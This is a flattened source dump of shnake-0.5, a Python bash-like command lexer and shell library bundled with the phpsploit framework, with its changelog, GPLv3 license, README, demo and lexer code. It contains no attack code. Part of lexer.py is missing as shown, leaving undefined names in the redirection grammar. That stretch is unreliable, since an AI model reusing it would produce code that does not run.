the item is removed instead of being reassigned. This behavior allows the user to easily remove settings, env-vars, aliases, and any object unheriting this class, by simply assiging None to them. It also raises a KeyError if value is not a valid WORD_TOKEN """ if isinstance(value, (str, type(None))) and \ str(value).upper() in self.item_deleters: if name not in self.keys(): return None return self.__delitem__(name) if not WORD_TOKEN.fullmatch(name): raise KeyError("illegal name: %r doesn't match %s" % (name, WORD_TOKEN.pattern)) return super().__setitem__(name, value) phpsploit-3.2+git20240329.aea961d/src/shnake-0.5/000077500000000000000000000000001460155776400205155ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/src/shnake-0.5/CHANGELOG.md000066400000000000000000000011711460155776400223260ustar00rootroot00000000000000### Version 0.5 *(2016-07-24)* - fix return_errcode() handler for boolean values. - make lexer source code PEP8 compliant. ### Version 0.4 *(2014-10-25)* - `command not found` now returns 127, just like bash - interpret() now supports bash's 'set -e' like behavior, by setting `fatal_errors` argument to True. ### Version 0.3 *(2014-07-31)* - Remove implicit call of `help ` when typing ` --help`. - Add **CHANGELOG.md** file. ### Version 0.2 *(2014-07-31)* - Convert **README** file to markdown format. - Improve **demo.py** file - Fix some minor bugs on **shell.py** ### Version 0.1 *(2014-04-15)* - First release. phpsploit-3.2+git20240329.aea961d/src/shnake-0.5/LICENSE000066400000000000000000001045141460155776400215270ustar00rootroot00000000000000 GNU GENERAL PUBLIC LICENSE Version 3, 29 June 2007 Copyright (C) 2007 Free Software Foundation, Inc. Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The GNU General Public License is a free, copyleft license for software and other kinds of works. The licenses for most software and other practical works are designed to take away your freedom to share and change the works. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change all versions of a program--to make sure it remains free software for all its users. We, the Free Software Foundation, use the GNU General Public License for most of our software; it applies also to any other work released this way by its authors. You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for them if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs, and that you know you can do these things. To protect your rights, we need to prevent others from denying you these rights or asking you to surrender the rights. Therefore, you have certain responsibilities if you distribute copies of the software, or if you modify it: responsibilities to respect the freedom of others. For example, if you distribute copies of such a program, whether gratis or for a fee, you must pass on to the recipients the same freedoms that you received. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. Developers that use the GNU GPL protect your rights with two steps: (1) assert copyright on the software, and (2) offer you this License giving you legal permission to copy, distribute and/or modify it. For the developers' and authors' protection, the GPL clearly explains that there is no warranty for this free software. For both users' and authors' sake, the GPL requires that modified versions be marked as changed, so that their problems will not be attributed erroneously to authors of previous versions. Some devices are designed to deny users access to install or run modified versions of the software inside them, although the manufacturer can do so. This is fundamentally incompatible with the aim of protecting users' freedom to change the software. The systematic pattern of such abuse occurs in the area of products for individuals to use, which is precisely where it is most unacceptable. Therefore, we have designed this version of the GPL to prohibit the practice for those products. If such problems arise substantially in other domains, we stand ready to extend this provision to those domains in future versions of the GPL, as needed to protect the freedom of users. Finally, every program is threatened constantly by software patents. States should not allow patents to restrict development and use of software on general-purpose computers, but in those that do, we wish to avoid the special danger that patents applied to a free program could make it effectively proprietary. To prevent this, the GPL assures that patents cannot be used to render the program non-free. The precise terms and conditions for copying, distribution and modification follow. TERMS AND CONDITIONS 0. Definitions. "This License" refers to version 3 of the GNU General Public License. "Copyright" also means copyright-like laws that apply to other kinds of works, such as semiconductor masks. "The Program" refers to any copyrightable work licensed under this License. Each licensee is addressed as "you". "Licensees" and "recipients" may be individuals or organizations. To "modify" a work means to copy from or adapt all or part of the work in a fashion requiring copyright permission, other than the making of an exact copy. The resulting work is called a "modified version" of the earlier work or a work "based on" the earlier work. A "covered work" means either the unmodified Program or a work based on the Program. To "propagate" a work means to do anything with it that, without permission, would make you directly or secondarily liable for infringement under applicable copyright law, except executing it on a computer or modifying a private copy. Propagation includes copying, distribution (with or without modification), making available to the public, and in some countries other activities as well. To "convey" a work means any kind of propagation that enables other parties to make or receive copies. Mere interaction with a user through a computer network, with no transfer of a copy, is not conveying. An interactive user interface displays "Appropriate Legal Notices" to the extent that it includes a convenient and prominently visible feature that (1) displays an appropriate copyright notice, and (2) tells the user that there is no warranty for the work (except to the extent that warranties are provided), that licensees may convey the work under this License, and how to view a copy of this License. If the interface presents a list of user commands or options, such as a menu, a prominent item in the list meets this criterion. 1. Source Code. The "source code" for a work means the preferred form of the work for making modifications to it. "Object code" means any non-source form of a work. A "Standard Interface" means an interface that either is an official standard defined by a recognized standards body, or, in the case of interfaces specified for a particular programming language, one that is widely used among developers working in that language. The "System Libraries" of an executable work include anything, other than the work as a whole, that (a) is included in the normal form of packaging a Major Component, but which is not part of that Major Component, and (b) serves only to enable use of the work with that Major Component, or to implement a Standard Interface for which an implementation is available to the public in source code form. A "Major Component", in this context, means a major essential component (kernel, window system, and so on) of the specific operating system (if any) on which the executable work runs, or a compiler used to produce the work, or an object code interpreter used to run it. The "Corresponding Source" for a work in object code form means all the source code needed to generate, install, and (for an executable work) run the object code and to modify the work, including scripts to control those activities. However, it does not include the work's System Libraries, or general-purpose tools or generally available free programs which are used unmodified in performing those activities but which are not part of the work. For example, Corresponding Source includes interface definition files associated with source files for the work, and the source code for shared libraries and dynamically linked subprograms that the work is specifically designed to require, such as by intimate data communication or control flow between those subprograms and other parts of the work. The Corresponding Source need not include anything that users can regenerate automatically from other parts of the Corresponding Source. The Corresponding Source for a work in source code form is that same work. 2. Basic Permissions. All rights granted under this License are granted for the term of copyright on the Program, and are irrevocable provided the stated conditions are met. This License explicitly affirms your unlimited permission to run the unmodified Program. The output from running a covered work is covered by this License only if the output, given its content, constitutes a covered work. This License acknowledges your rights of fair use or other equivalent, as provided by copyright law. You may make, run and propagate covered works that you do not convey, without conditions so long as your license otherwise remains in force. You may convey covered works to others for the sole purpose of having them make modifications exclusively for you, or provide you with facilities for running those works, provided that you comply with the terms of this License in conveying all material for which you do not control copyright. Those thus making or running the covered works for you must do so exclusively on your behalf, under your direction and control, on terms that prohibit them from making any copies of your copyrighted material outside their relationship with you. Conveying under any other circumstances is permitted solely under the conditions stated below. Sublicensing is not allowed; section 10 makes it unnecessary. 3. Protecting Users' Legal Rights From Anti-Circumvention Law. No covered work shall be deemed part of an effective technological measure under any applicable law fulfilling obligations under article 11 of the WIPO copyright treaty adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention of such measures. When you convey a covered work, you waive any legal power to forbid circumvention of technological measures to the extent such circumvention is effected by exercising rights under this License with respect to the covered work, and you disclaim any intention to limit operation or modification of the work as a means of enforcing, against the work's users, your or third parties' legal rights to forbid circumvention of technological measures. 4. Conveying Verbatim Copies. You may convey verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice; keep intact all notices stating that this License and any non-permissive terms added in accord with section 7 apply to the code; keep intact all notices of the absence of any warranty; and give all recipients a copy of this License along with the Program. You may charge any price or no price for each copy that you convey, and you may offer support or warranty protection for a fee. 5. Conveying Modified Source Versions. You may convey a work based on the Program, or the modifications to produce it from the Program, in the form of source code under the terms of section 4, provided that you also meet all of these conditions: a) The work must carry prominent notices stating that you modified it, and giving a relevant date. b) The work must carry prominent notices stating that it is released under this License and any conditions added under section 7. This requirement modifies the requirement in section 4 to "keep intact all notices". c) You must license the entire work, as a whole, under this License to anyone who comes into possession of a copy. This License will therefore apply, along with any applicable section 7 additional terms, to the whole of the work, and all its parts, regardless of how they are packaged. This License gives no permission to license the work in any other way, but it does not invalidate such permission if you have separately received it. d) If the work has interactive user interfaces, each must display Appropriate Legal Notices; however, if the Program has interactive interfaces that do not display Appropriate Legal Notices, your work need not make them do so. A compilation of a covered work with other separate and independent works, which are not by their nature extensions of the covered work, and which are not combined with it such as to form a larger program, in or on a volume of a storage or distribution medium, is called an "aggregate" if the compilation and its resulting copyright are not used to limit the access or legal rights of the compilation's users beyond what the individual works permit. Inclusion of a covered work in an aggregate does not cause this License to apply to the other parts of the aggregate. 6. Conveying Non-Source Forms. You may convey a covered work in object code form under the terms of sections 4 and 5, provided that you also convey the machine-readable Corresponding Source under the terms of this License, in one of these ways: a) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by the Corresponding Source fixed on a durable physical medium customarily used for software interchange. b) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by a written offer, valid for at least three years and valid for as long as you offer spare parts or customer support for that product model, to give anyone who possesses the object code either (1) a copy of the Corresponding Source for all the software in the product that is covered by this License, on a durable physical medium customarily used for software interchange, for a price no more than your reasonable cost of physically performing this conveying of source, or (2) access to copy the Corresponding Source from a network server at no charge. c) Convey individual copies of the object code with a copy of the written offer to provide the Corresponding Source. This alternative is allowed only occasionally and noncommercially, and only if you received the object code with such an offer, in accord with subsection 6b. d) Convey the object code by offering access from a designated place (gratis or for a charge), and offer equivalent access to the Corresponding Source in the same way through the same place at no further charge. You need not require recipients to copy the Corresponding Source along with the object code. If the place to copy the object code is a network server, the Corresponding Source may be on a different server (operated by you or a third party) that supports equivalent copying facilities, provided you maintain clear directions next to the object code saying where to find the Corresponding Source. Regardless of what server hosts the Corresponding Source, you remain obligated to ensure that it is available for as long as needed to satisfy these requirements. e) Convey the object code using peer-to-peer transmission, provided you inform other peers where the object code and Corresponding Source of the work are being offered to the general public at no charge under subsection 6d. A separable portion of the object code, whose source code is excluded from the Corresponding Source as a System Library, need not be included in conveying the object code work. A "User Product" is either (1) a "consumer product", which means any tangible personal property which is normally used for personal, family, or household purposes, or (2) anything designed or sold for incorporation into a dwelling. In determining whether a product is a consumer product, doubtful cases shall be resolved in favor of coverage. For a particular product received by a particular user, "normally used" refers to a typical or common use of that class of product, regardless of the status of the particular user or of the way in which the particular user actually uses, or expects or is expected to use, the product. A product is a consumer product regardless of whether the product has substantial commercial, industrial or non-consumer uses, unless such uses represent the only significant mode of use of the product. "Installation Information" for a User Product means any methods, procedures, authorization keys, or other information required to install and execute modified versions of a covered work in that User Product from a modified version of its Corresponding Source. The information must suffice to ensure that the continued functioning of the modified object code is in no case prevented or interfered with solely because modification has been made. If you convey an object code work under this section in, or with, or specifically for use in, a User Product, and the conveying occurs as part of a transaction in which the right of possession and use of the User Product is transferred to the recipient in perpetuity or for a fixed term (regardless of how the transaction is characterized), the Corresponding Source conveyed under this section must be accompanied by the Installation Information. But this requirement does not apply if neither you nor any third party retains the ability to install modified object code on the User Product (for example, the work has been installed in ROM). The requirement to provide Installation Information does not include a requirement to continue to provide support service, warranty, or updates for a work that has been modified or installed by the recipient, or for the User Product in which it has been modified or installed. Access to a network may be denied when the modification itself materially and adversely affects the operation of the network or violates the rules and protocols for communication across the network. Corresponding Source conveyed, and Installation Information provided, in accord with this section must be in a format that is publicly documented (and with an implementation available to the public in source code form), and must require no special password or key for unpacking, reading or copying. 7. Additional Terms. "Additional permissions" are terms that supplement the terms of this License by making exceptions from one or more of its conditions. Additional permissions that are applicable to the entire Program shall be treated as though they were included in this License, to the extent that they are valid under applicable law. If additional permissions apply only to part of the Program, that part may be used separately under those permissions, but the entire Program remains governed by this License without regard to the additional permissions. When you convey a copy of a covered work, you may at your option remove any additional permissions from that copy, or from any part of it. (Additional permissions may be written to require their own removal in certain cases when you modify the work.) You may place additional permissions on material, added by you to a covered work, for which you have or can give appropriate copyright permission. Notwithstanding any other provision of this License, for material you add to a covered work, you may (if authorized by the copyright holders of that material) supplement the terms of this License with terms: a) Disclaiming warranty or limiting liability differently from the terms of sections 15 and 16 of this License; or b) Requiring preservation of specified reasonable legal notices or author attributions in that material or in the Appropriate Legal Notices displayed by works containing it; or c) Prohibiting misrepresentation of the origin of that material, or requiring that modified versions of such material be marked in reasonable ways as different from the original version; or d) Limiting the use for publicity purposes of names of licensors or authors of the material; or e) Declining to grant rights under trademark law for use of some trade names, trademarks, or service marks; or f) Requiring indemnification of licensors and authors of that material by anyone who conveys the material (or modified versions of it) with contractual assumptions of liability to the recipient, for any liability that these contractual assumptions directly impose on those licensors and authors. All other non-permissive additional terms are considered "further restrictions" within the meaning of section 10. If the Program as you received it, or any part of it, contains a notice stating that it is governed by this License along with a term that is a further restriction, you may remove that term. If a license document contains a further restriction but permits relicensing or conveying under this License, you may add to a covered work material governed by the terms of that license document, provided that the further restriction does not survive such relicensing or conveying. If you add terms to a covered work in accord with this section, you must place, in the relevant source files, a statement of the additional terms that apply to those files, or a notice indicating where to find the applicable terms. Additional terms, permissive or non-permissive, may be stated in the form of a separately written license, or stated as exceptions; the above requirements apply either way. 8. Termination. You may not propagate or modify a covered work except as expressly provided under this License. Any attempt otherwise to propagate or modify it is void, and will automatically terminate your rights under this License (including any patent licenses granted under the third paragraph of section 11). However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation. Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice. Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, you do not qualify to receive new licenses for the same material under section 10. 9. Acceptance Not Required for Having Copies. You are not required to accept this License in order to receive or run a copy of the Program. Ancillary propagation of a covered work occurring solely as a consequence of using peer-to-peer transmission to receive a copy likewise does not require acceptance. However, nothing other than this License grants you permission to propagate or modify any covered work. These actions infringe copyright if you do not accept this License. Therefore, by modifying or propagating a covered work, you indicate your acceptance of this License to do so. 10. Automatic Licensing of Downstream Recipients. Each time you convey a covered work, the recipient automatically receives a license from the original licensors, to run, modify and propagate that work, subject to this License. You are not responsible for enforcing compliance by third parties with this License. An "entity transaction" is a transaction transferring control of an organization, or substantially all assets of one, or subdividing an organization, or merging organizations. If propagation of a covered work results from an entity transaction, each party to that transaction who receives a copy of the work also receives whatever licenses to the work the party's predecessor in interest had or could give under the previous paragraph, plus a right to possession of the Corresponding Source of the work from the predecessor in interest, if the predecessor has it or can get it with reasonable efforts. You may not impose any further restrictions on the exercise of the rights granted or affirmed under this License. For example, you may not impose a license fee, royalty, or other charge for exercise of rights granted under this License, and you may not initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging that any patent claim is infringed by making, using, selling, offering for sale, or importing the Program or any portion of it. 11. Patents. A "contributor" is a copyright holder who authorizes use under this License of the Program or a work on which the Program is based. The work thus licensed is called the contributor's "contributor version". A contributor's "essential patent claims" are all patent claims owned or controlled by the contributor, whether already acquired or hereafter acquired, that would be infringed by some manner, permitted by this License, of making, using, or selling its contributor version, but do not include claims that would be infringed only as a consequence of further modification of the contributor version. For purposes of this definition, "control" includes the right to grant patent sublicenses in a manner consistent with the requirements of this License. Each contributor grants you a non-exclusive, worldwide, royalty-free patent license under the contributor's essential patent claims, to make, use, sell, offer for sale, import and otherwise run, modify and propagate the contents of its contributor version. In the following three paragraphs, a "patent license" is any express agreement or commitment, however denominated, not to enforce a patent (such as an express permission to practice a patent or covenant not to sue for patent infringement). To "grant" such a patent license to a party means to make such an agreement or commitment not to enforce a patent against the party. If you convey a covered work, knowingly relying on a patent license, and the Corresponding Source of the work is not available for anyone to copy, free of charge and under the terms of this License, through a publicly available network server or other readily accessible means, then you must either (1) cause the Corresponding Source to be so available, or (2) arrange to deprive yourself of the benefit of the patent license for this particular work, or (3) arrange, in a manner consistent with the requirements of this License, to extend the patent license to downstream recipients. "Knowingly relying" means you have actual knowledge that, but for the patent license, your conveying the covered work in a country, or your recipient's use of the covered work in a country, would infringe one or more identifiable patents in that country that you have reason to believe are valid. If, pursuant to or in connection with a single transaction or arrangement, you convey, or propagate by procuring conveyance of, a covered work, and grant a patent license to some of the parties receiving the covered work authorizing them to use, propagate, modify or convey a specific copy of the covered work, then the patent license you grant is automatically extended to all recipients of the covered work and works based on it. A patent license is "discriminatory" if it does not include within the scope of its coverage, prohibits the exercise of, or is conditioned on the non-exercise of one or more of the rights that are specifically granted under this License. You may not convey a covered work if you are a party to an arrangement with a third party that is in the business of distributing software, under which you make payment to the third party based on the extent of your activity of conveying the work, and under which the third party grants, to any of the parties who would receive the covered work from you, a discriminatory patent license (a) in connection with copies of the covered work conveyed by you (or copies made from those copies), or (b) primarily for and in connection with specific products or compilations that contain the covered work, unless you entered into that arrangement, or that patent license was granted, prior to 28 March 2007. Nothing in this License shall be construed as excluding or limiting any implied license or other defenses to infringement that may otherwise be available to you under applicable patent law. 12. No Surrender of Others' Freedom. If conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot convey a covered work so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not convey it at all. For example, if you agree to terms that obligate you to collect a royalty for further conveying from those to whom you convey the Program, the only way you could satisfy both those terms and this License would be to refrain entirely from conveying the Program. 13. Use with the GNU Affero General Public License. Notwithstanding any other provision of this License, you have permission to link or combine any covered work with a work licensed under version 3 of the GNU Affero General Public License into a single combined work, and to convey the resulting work. The terms of this License will continue to apply to the part which is the covered work, but the special requirements of the GNU Affero General Public License, section 13, concerning interaction through a network will apply to the combination as such. 14. Revised Versions of this License. The Free Software Foundation may publish revised and/or new versions of the GNU General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies that a certain numbered version of the GNU General Public License "or any later version" applies to it, you have the option of following the terms and conditions either of that numbered version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of the GNU General Public License, you may choose any version ever published by the Free Software Foundation. If the Program specifies that a proxy can decide which future versions of the GNU General Public License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Program. Later license versions may give you additional or different permissions. However, no additional obligations are imposed on any author or copyright holder as a result of your choosing to follow a later version. 15. Disclaimer of Warranty. THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 16. Limitation of Liability. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. 17. Interpretation of Sections 15 and 16. If the disclaimer of warranty and limitation of liability provided above cannot be given local legal effect according to their terms, reviewing courts shall apply local law that most closely approximates an absolute waiver of all civil liability in connection with the Program, unless a warranty or assumption of liability accompanies a copy of the Program in return for a fee. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively state the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. Copyright (C) This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . Also add information on how to contact you by electronic and paper mail. If the program does terminal interaction, make it output a short notice like this when it starts in an interactive mode: Copyright (C) This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, your program's commands might be different; for a GUI interface, you would use an "about box". You should also get your employer (if you work as a programmer) or school, if any, to sign a "copyright disclaimer" for the program, if necessary. For more information on this, and how to apply and follow the GNU GPL, see . The GNU General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. But first, please read . phpsploit-3.2+git20240329.aea961d/src/shnake-0.5/README.md000066400000000000000000000103211460155776400217710ustar00rootroot00000000000000Shnake: ======= Python3 library to make command-line tools Introduction ------------ Shnake is a generic command interpreter with multicommand support. The shnake library has been initially developped to correctly handle the [phpsploit framework] shell interfaces. Therefore, it was built in order to stand generic, and usable by any other open-source project. - The shell part extends the pretty good `cmd` standard library, adding many new features, and a few new behaviors. - The shnake lexer depends on the pyparsing library. It was built to theorically work on all 3.x python versions. For any bug, issue or enhancement proposal, please contact the author. *NOTE:* * The shnake library extends and wraps the [cmd] python standard library. So a little knowledge of [cmd] it required to ease shnake comprehension. Requirements ------------ #### Mandatory dependencies: pyparsing #### Optional dependencies: readline _**Tested with python3.4**_ Features -------- #### Command line interface * The command line interpreter has been highly enhanced, with a complete overwrite of the parseline() method, to provide the most bash-like features as possible. * Multi commands, separated by semicolons can now be typed. * Multi line command also can be written, like on bash prompt by ending a line with a backslash, prompting the user to continue writing the command in the next line (like bash's PS2). * Strings can now be enquoted, to be processed as a single argument. #### Command execution * An argv array of arguments is now passed as do_foo() argument (an all other cmd related methods) instead of the [cmd] tuple. * The interpret() method can be used to eval a string as a list of shnake commands. It also can be used inside do_* commands. #### Prompt feature * Included an input() wrapper (classe's raw_input() method) that makes use of regular expressions to automatically enclose enventual prompt's ANSI color codes with `\x01%s\x02`, fixing readline's prompt length missinterpretation on colored ones. * Since multiline commands are supported, a new variable: prompt_ps2 can be used to change PS2 prompt prefix. * EOFError raised during input() are the same as sending the `exit` command to the interpreter. #### Exception handling * The new onexception() method has been made to handle exceptions. It eases a lot command methods (do_foo()) development, allowing them to simply raise exceptions on error, that will be automatically handled and represented by a standard error line. * An exception `foo` is dispatched to a method `except_foo` if available; the except_ method is passed a single argument, the exception object itself. * The new variable `error` defines the error line template. #### Command return values * Adding support for command return values. Instead of the [cmd] trivial boolean behavior, any command are now able to return anything. The postcmd method manages integer return values, in a similar way than the sys.exit's behavior. * To leave the cmdloop() method, a SystemExit must be raised (with the exit() built_in function for example) #### Misc behaviors * Extended the get_names() method, which now can take an instance as argument, limiting the returned attributes to this one. * Unlike [cmd] lib, emptyline()'s default behavior defaultly does nothing instead of repeating the last typed command (bash like). * Typing `EOF` to leave is not used on shnake, consider using `exit` and raise SystemExit instead. * The classe's default() method had been enhanced, writing command representation in case of unprintable chars, and also takes use of the new `nocmd` variable. * When left, the cmdloop() methods acts exactly in the same way that command return values behavior, meaning that the return value will be an interger anyway, 0 in case of no error. #### Limitations & Other changes * Unlike [cmd] , the shnake library do not provides support for command line interpretation without input() built-in function. * Unlike [cmd], shnake is NOT compatible with python 2.x. [phpsploit framework]: https://github.com/nil0x42/phpsploit [cmd]: https://docs.python.org/3.4/library/cmd.html phpsploit-3.2+git20240329.aea961d/src/shnake-0.5/TODO000066400000000000000000000001631460155776400212050ustar00rootroot00000000000000Parser: * @shnake deserves a real TODO file ... TODO Style: * @hilighted @words , todo phrase * next phrase phpsploit-3.2+git20240329.aea961d/src/shnake-0.5/demo/000077500000000000000000000000001460155776400214415ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/src/shnake-0.5/demo/demo.py000077500000000000000000000024251460155776400227450ustar00rootroot00000000000000#!/usr/bin/env python3 # -*- coding: utf-8 -*- import sys # Ensure that the script is not run with python 2.x if (sys.version_info.major < 3): sys.exit('shnake library is not compatible with python < 3') # Ensure the script is not imported try: from __main__ import __file__ del __file__ except: sys.exit('./demo.py cannot be imported !') # TEST import shnake # lexer behavior single_line_cmd = "ls -la /tmp 2>&1 && echo foo'bar'\ " print("DEMO: shnake.lex()") print("The shnake lexer handles single line commands:") print() print("Raw command: %r" % single_line_cmd) result = shnake.lex(single_line_cmd) print("Lexed command: %r" % result) print() print() # parser behavior multi_line_cmd = "cmd1-part1\\\ncmd1-part2\ncmd2" print() print("DEMO: shnake.parse()") print("The shnake parser is a wrapper for the lexer.") print("Its handles multi-line strings, so it can parse file buffers") print() print("Raw command: %r" % multi_line_cmd) result = shnake.parse(multi_line_cmd) print("Parsed command: %r" % result) print() print() # command interpreter demo print("DEMO: shnake.Shell()") print("This shnake shell is a command line interpreter.") print("Type: `help` in the shell interface") interpreter = shnake.Shell() interpreter.prompt = "shnake > " interpreter.cmdloop() phpsploit-3.2+git20240329.aea961d/src/shnake-0.5/shnake/000077500000000000000000000000001460155776400217665ustar00rootroot00000000000000phpsploit-3.2+git20240329.aea961d/src/shnake-0.5/shnake/__init__.py000066400000000000000000000002321460155776400240740ustar00rootroot00000000000000_version__ = "0.5" __author__ = "nil0x42 " from .lexer import Lexer, lex from .parser import Parser, parse from .shell import Shell phpsploit-3.2+git20240329.aea961d/src/shnake-0.5/shnake/lexer.py000066400000000000000000000124051460155776400234610ustar00rootroot00000000000000"""Shnake's pyparsing based shell lexer Based on the awesome pyparsing library, the Lexer class intends to provide a powerful bash-like string lexer. """ import re __author__ = "nil0x42 " class Lexer: r"""Bash-like string lexer based on pyparsing. It implements a very basic bash inspired lexer that supports multicommands, logical operators, pipes, and standard file descriptor redirection. Its __init__() method takes a string as argument. If the syntax if correct, a list() if then returned. A list() is a pipeline, aka an instruction block. Case study: ----------- >>> lex = Lexer() >>> lex("ls -la /tmp 2>&1 && echo foo'bar'\ ") [["ls", "-la", "/tmp", (2, ">", 1)], "&&", ["echo", "foobar "]] The example above shows a basic case of string lexing. Here, the pipeline (aka the main list()) returned: list, str, list; each sub list is a single command, and they are separated by the "&&" logical operator. It makes easy post processing for binary conditions. Also, note that the first command's redirection instruction had been parsed as a tuple(), facilitating post processing adaptation. """ def __init__(self): from pyparsing import (ParserElement, StringEnd, LineEnd, Literal, pythonStyleComment, ZeroOrMore, Suppress, Optional, Combine, OneOrMore, Regex, oneOf, QuotedString, Group, ParseException) ParserElement.setDefaultWhitespaceChars("\t ") EOF = StringEnd() EOL = ~EOF + LineEnd() # EOL must not match on EOF escape = Literal("\\") comment = pythonStyleComment junk = ZeroOrMore(comment | EOL).suppress() # word (i.e: single argument string) word = Suppress(escape + EOL + Optional(comment)) \ | Combine(OneOrMore( escape.suppress() + Regex(".") | QuotedString("'", escChar='\\', multiline=True) | QuotedString('"', escChar='\\', multiline=True) | Regex("[^ \t\r\n\f\v\\\\$&<>();\\|\'\"`]+") | Suppress(escape + EOL))) # redirector (aka bash file redirectors, such as "2>&1" sequences) fd_src = Regex("[0-2]").setParseAction(lambda t: int(t[0])) fd_dst = Suppress("&") + fd_src # "[n]")) + \ (word | (fd_dst + Optional("-"))) # "&>word" || ">&word" obj = (oneOf("&> >&") + word) full_redir = obj.setParseAction(lambda t: ("&", ">", t[-1])) # "<<>word" add_to_file = (Optional(fd_src | Literal("&"), 1) + Literal(">>") + word) # "[n]<>word" fd_bind = Optional(fd_src, 0) + Literal("<>") + word obj = (fd_redir | full_redir | here_doc | add_to_file | fd_bind) redirector = obj.setParseAction(tuple) # single command (args/redir list) command = Group(OneOrMore(redirector | word)) # logical operators (section splits) semicolon = Suppress(";") + junk connector = (oneOf("&& || |") + junk) | semicolon # pipeline, aka logical block of interconnected commands pipeline = junk + Group(command + ZeroOrMore(connector + command) + Optional(semicolon)) # define object attributes self.LEXER = pipeline.ignore(comment) + EOF self.parseException = ParseException def __call__(self, string, line=1): try: result = self.LEXER.parseString(string) except self.parseException as error: index = error.loc try: char = string[index] except: if string.strip() == "\\": err = r"unexpected EOF after escaped newline '\\n'" raise SyntaxWarning(err) return [] if char in "\"'": err = "unexpected EOF while looking for matching %r" raise SyntaxWarning(err % char) elif (index + 1) == len(string) and char == "\\": err = r"unexpected EOF after escaped newline '\\n'" raise SyntaxWarning(err) elif string[index:index+2] in ["&&", "||"]: raise SyntaxWarning("unexpected end of file") else: err = "unexpected token %r " # err += str(error)[str(error).find("("):] err += str(error)[str(error).rfind("(at char "):] try: lineNr = int(re.findall(r"line:(\d+)", err)[0]) lineNr += line - 1 err = re.sub(r"line:(\d+)", "line:"+str(lineNr), err) except: pass raise SyntaxError(err % char) raise error # help(result) # for command in result[0]: # print (x) # return list(result[0]) return [list(command) for command in list(result[0])] lex = Lexer() phpsploit-3.2+git20240329.aea961d/src/shnake-0.5/shnake/parser.py000066400000000000000000000031751460155776400236420ustar00rootroot00000000000000"""Shnake's pyparsing based shell parser The shnake parser handles multiline commands using the lexer Take a look at shell.py parserline() and lex() methods. """ import io from .lexer import lex as shnake_lex __author__ = "nil0x42 " class LineBuffer: """Command line generator designed for shemu's Parser() class It takes a file object or None as main argument (`file`). If None, a bash like prompt based on the PS1/PS2 strings is used as readline() input collector. """ def __init__(self, file): if isinstance(file, str): file = io.StringIO(file) self.file = file def readline(self): line = self.file.readline() if not 